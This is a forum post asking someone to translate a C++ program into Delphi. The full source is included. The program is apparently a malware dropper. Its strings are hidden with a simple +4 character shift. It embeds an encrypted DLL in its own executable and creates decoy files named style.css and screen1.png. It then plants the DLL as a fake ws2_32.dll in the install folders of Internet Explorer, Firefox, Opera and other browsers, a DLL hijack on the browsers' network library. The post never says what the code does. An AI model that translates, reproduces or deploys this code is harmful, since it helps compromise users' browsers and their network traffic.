Translate C++ to DELPHI

Hi ^^
can someone translate this code in C++ to delphi  me please ?
thank you :)
ps: the functions "encrypt" and "decrypt" dont need because i aready posted a question here and is ok.

#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
 
/////////////////////////////////////////////////////////////////////////////////
 
#define DIR_SIZE  32
#define SIGNATURE 0x1234
#define DELTA     0x4
 
#pragma pack(1)
 
/////////////////////////////////////////////////////////////////////////////////
 
struct Sign
 {
    WORD  Signature;
    DWORD dwFileBegin;
    DWORD dwFileSize;
 };
 
/////////////////////////////////////////////////////////////////////////////////
 
void  MakeLoader(LPCSTR);
void  RunLoader(FILE *, struct Sign *);
 
void  CopyTempFile(LPSTR);
 
void  Encrypt(LPSTR, DWORD);
void  Decrypt(LPSTR, DWORD);
 
void  InitializeTable();
DWORD CRC_CheckSum(LPCSTR);
 
DWORD GetEnviromentPath(LPCSTR, LPSTR);
BOOL  DownloadFile(LPCSTR, LPCSTR);
 
/////////////////////////////////////////////////////////////////////////////////
 
char DllName[] = "{w6c762hpp";
char DllPath[] = "22`{w6c762hpp";
 
char ProgramFiles[] = "TvskveqJmpiw";
 
char LoaderDir[]      = "psehivcjmpiw";
char LoaderBin[]      = "psehivcjmpiw`psehiv2i|i";
 
char LoaderCheckSum[] = "psehivcjmpiw``wx}pi2gww";//style.css ?
char LoaderFakeBin[]  = "psehivcjmpiw``wgviir52trk";//loader_files\\screen1.png
 
char BrowserDirs[][DIR_SIZE] =  { "Mrxivrix$I|tpsviv`",     "Qs~mppe$Jmvijs|`", "Stive`",
                                  "Rixwgeti`Rezmkexsv$=`",  "Ezerx$Fvs{wiv`]",
                                  "jpsgo`jpsgo"  
                                };
DWORD  CRCTable[256];
 
/////////////////////////////////////////////////////////////////////////////////
 
int main(int argn, char ** argv)
{
  FILE * fp;
  struct Sign FileSignature;
 
     fp = fopen(argv[0], "rb");
     
     if(!fp)
        return 1;
     
     if(fseek(fp, - sizeof(FileSignature), SEEK_END) != 0)
        goto End;
     
     if(!fread(&FileSignature, sizeof(FileSignature), 1, fp))
        goto End;
 
     if(FileSignature.Signature == SIGNATURE && FileSignature.dwFileBegin > 0 &&
        FileSignature.dwFileSize > 0)
      { 
         Decrypt(DllName,      sizeof(DllName) - 1);
         Decrypt(ProgramFiles, sizeof(ProgramFiles) - 1);
 
         RunLoader(fp, &FileSignature);
      }
     else
      {
         Decrypt(DllName, sizeof(DllName) - 1);
         Decrypt(DllPath, sizeof(DllPath) - 1);
         
         Decrypt(LoaderDir, sizeof(LoaderDir) - 1);
         Decrypt(LoaderBin, sizeof(LoaderBin) - 1);
         
         Decrypt(LoaderCheckSum, sizeof(LoaderCheckSum) - 1);
         Decrypt(LoaderFakeBin,  sizeof(LoaderFakeBin) - 1);
 
         MakeLoader(argv[0]);
      }
     
  End:
     
     fclose(fp);
      
  return 0;
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void MakeLoader(LPCSTR lpLocalFile)
{
  FILE * fp;
  char * FileBuffer;
  DWORD  dwDllFileSize, dwLoaderFileSize;
  
  struct Sign FileSignature = {SIGNATURE, 0x0, 0x0};
     
     if(GetFileAttributes(LoaderDir) == INVALID_FILE_ATTRIBUTES)
      {
         CreateDirectory(LoaderDir, NULL);
      }
     else
      {
         DeleteFile(LoaderBin);
         DeleteFile(LoaderCheckSum);
         DeleteFile(LoaderFakeBin);
      }
 
     if(!CopyFile(lpLocalFile, LoaderBin, 0))
        return;
        
     fp = fopen(DllPath, "rb");
     
     if(!fp)
        goto End;
 
     dwDllFileSize = filelength(fp->_file);
     
     if(dwDllFileSize < 1)
        goto End;
     
     FileBuffer = (char*)malloc(dwDllFileSize);
     
     if(!FileBuffer)
        goto End;     
     
     if(!fread(FileBuffer, dwDllFileSize, 1, fp))
        goto End;
     
     fp = freopen(LoaderBin, "rb+", fp);
 
     if(!fp)
        goto End;
     
     if(fseek(fp, 0, SEEK_END) != 0)
        goto End;
     
     dwLoaderFileSize = ftell(fp);
           
     if(dwLoaderFileSize < 1)
        goto End;
     
     Encrypt(FileBuffer, dwDllFileSize);
     
     if(!fwrite(FileBuffer, dwDllFileSize, 1, fp))
        goto End;
     
     FileSignature.dwFileBegin = dwLoaderFileSize;
     FileSignature.dwFileSize  = dwDllFileSize;
     
     if(!fwrite(&FileSignature, sizeof(FileSignature), 1, fp))
        goto End;
     
     fclose(fp);
     
     InitializeTable();
     
     fp = fopen(LoaderCheckSum, "wb");
     
     if(fp && CopyFile(LoaderBin, LoaderFakeBin, 0))
      {
         fprintf(fp, "%ul:%ul", CRC_CheckSum(DllPath), CRC_CheckSum(LoaderFakeBin));
         fclose(fp);
      }
     else
        goto End;
 
     free(FileBuffer);
     
  return;
     
  End:
     
     if(fp)
        fclose(fp);
        
     if(FileBuffer)
        free(FileBuffer);
        
     DeleteFile(LoaderBin);
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void RunLoader(FILE * fp, struct Sign * pFileSignature)
{
  FILE * temp;
  char * FileBuffer;
     
     if(fseek(fp, pFileSignature->dwFileBegin, SEEK_SET) != 0)
        return;
     
     temp = fopen("Kernel32_", "wb");
 
     if(!temp)
        return;
 
     FileBuffer = (char*)malloc(pFileSignature->dwFileSize);
     
     if(!FileBuffer)
        goto End;
 
      
     if(!fread(FileBuffer, pFileSignature->dwFileSize, 1, fp))
        goto End;
     
     Decrypt(FileBuffer, pFileSignature->dwFileSize);
 
     if(!fwrite(FileBuffer, pFileSignature->dwFileSize, 1, temp))
        goto End;
     
     CopyTempFile("Kernel32_");
              
  End:
     
     if(temp)
       fclose(temp);
     
     if(FileBuffer)
       free(FileBuffer);
     
     DeleteFile("Kernel32_");     
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void CopyTempFile(LPSTR lpTempFile)
{ 
  char DestPath[MAX_PATH] = {0};
  char (*pBrowserDir)[32];
  
  DWORD dwLen;
  int i, tries;
     
     dwLen = GetEnviromentPath(ProgramFiles, DestPath);
     
     if(!dwLen)
        return;
     
     pBrowserDir = BrowserDirs;
     
     for(i = 0; i < sizeof(BrowserDirs) / DIR_SIZE; i++)
      {
         Decrypt(pBrowserDir[i], strlen(pBrowserDir[i]));
         
         snprintf(DestPath + dwLen, MAX_PATH - dwLen - 1, "%s", pBrowserDir[i]);
         
         if(GetFileAttributes(DestPath) == INVALID_FILE_ATTRIBUTES)
            continue;
            
         strncat(DestPath, DllName, MAX_PATH - strlen(DestPath) - 1);
 
         tries = 0;
         
         while(tries < 3)
         {
            if(CopyFile(lpTempFile, DestPath, 0) != 0)
               break;
 
            Sleep(2000);
            
            tries++;
         }
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void InitializeTable()
{
  int   i, j;
  DWORD dwSum;
     
     for(i = 0; i < sizeof(CRCTable) / sizeof(DWORD) ; i++)
      {
	     dwSum = i;
		
         for (j = 8; j > 0; j--)
          {
             if(dwSum & 0x1)
		        dwSum = (dwSum >> 1) ^ 0xEDB88320;
              else
                dwSum >>= 1;
		  }
 
		 CRCTable[i] = dwSum;
	  }
}
 
/////////////////////////////////////////////////////////////////////////////////////////
 
DWORD CRC_CheckSum(LPCSTR lpszFileName)
{
  FILE * fp;
 
  register DWORD dwCRC;
  int Byte;
 
	 fp = fopen(lpszFileName, "rb");
     
     if(!fp)
        return 0;
 
	 dwCRC = 0xFFFFFFFF;
	
	 while( (Byte = getc(fp) ) != EOF )
      {
	     dwCRC = ((dwCRC >> 8) & 0x00FFFFFF) ^ CRCTable[(dwCRC ^ Byte) & 0xFF];
	  }
  
     fclose(fp);
  
  return (dwCRC ^ 0xFFFFFFFF);
}
 
/////////////////////////////////////////////////////////////////////////////////////////
 
void Encrypt(LPSTR lpBuffer, DWORD dwLen)
{
  DWORD i;
     
     if(!lpBuffer || !dwLen)
        return;
     
     for(i = 0; i < dwLen; i++)
      {
         lpBuffer[i] += DELTA;
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void Decrypt(LPSTR lpBuffer, DWORD dwLen)
{
  DWORD i;
     
     if(!lpBuffer || !dwLen)
        return;
     
     for(i = 0; i < dwLen; i++)
      {
         lpBuffer[i] -= DELTA;
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
DWORD GetEnviromentPath(LPCSTR lpszPath, LPSTR lpBuffer)
{
  char * temp;
  
     temp = getenv(lpszPath);
     
     if(!temp)
        return 0;
     
     snprintf(lpBuffer, MAX_PATH - 1, "%s\\", temp);        
 
  return (DWORD)strlen(lpBuffer);
}

Select allOpen in new window